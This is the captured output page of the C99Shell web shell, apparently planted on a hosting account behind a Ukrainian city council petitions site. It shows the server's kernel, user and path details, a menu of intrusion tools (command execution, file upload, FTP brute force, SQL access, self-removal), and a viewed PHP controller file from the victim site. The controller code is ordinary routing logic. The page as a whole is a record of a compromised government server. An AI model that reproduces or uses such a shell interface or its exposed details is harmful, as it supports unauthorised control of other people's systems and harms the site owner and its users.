!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/petitions.zt-rada.gov.ua/classes/   drwxr-xr-x
Free 106.83 GB of 200.55 GB (53.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Main_Controller.inc.php (2.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class Main_Controller{
    public static 
$template;
    public static function 
Init()
    {
        
session_start();
        
self::$template = new Template('templates/main/index.tpl');
        
Main_Model::Connect();
        
Users_Model::UpdateLastAccessDate();
    }
    public static function 
Run()
    {
        
$url $_GET['url'];
        
$parts explode("/"$url);
        
$class ucfirst($parts[0]).'_Controller';
        
$method ucfirst($parts[1]).'Action';
        if (
$class === '_Controller' ||
            
$parts[0] == 'index' || $parts[0] == 'index.html')
            
$class="Main_Controller";
        if (
class_exists($class)) {
            if (
$method === 'Action')
                
$method 'IndexAction';
            if (
method_exists($class$method)) {
                
array_shift($parts);
                
array_shift($parts);
                
$arr $class::$method($parts);
                if (!empty(
$arr))
                    foreach(
$arr as $key => $value)
                    {
                        
self::$template->AddParam($key$value);
                    }
            }
            else
                
self::Error(404);
        } else
            
self::Error(404);
        
//echo $url;
    
}
    public static function 
IndexAction()
    {
        return array(
'Title'    => 'Петиції до Житомирської міської ради',
                     
'PageTitle' => 'Петиції до Житомирської міської ради',
                     
'Content'  => Main_View::Main().'<h1>Останні петиції</h1>'.List_View::GetLast());
    }
    public static function 
Error($code)
    {
        
self::$template = new Template('templates/main/index.tpl');
        if (
$code == 404) {
            
self::$template->AddParam('Title''Сторінку не знайдено');
            
self::$template->AddParam('Content''');
            
Main_Controller::Done();
            die;
        }

    }
    public static function 
Done()
    {
        
self::$template->Display();
    }
    public static function 
Redirect($url)
    {
        
header("Location: $url");
        die;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0131 ]--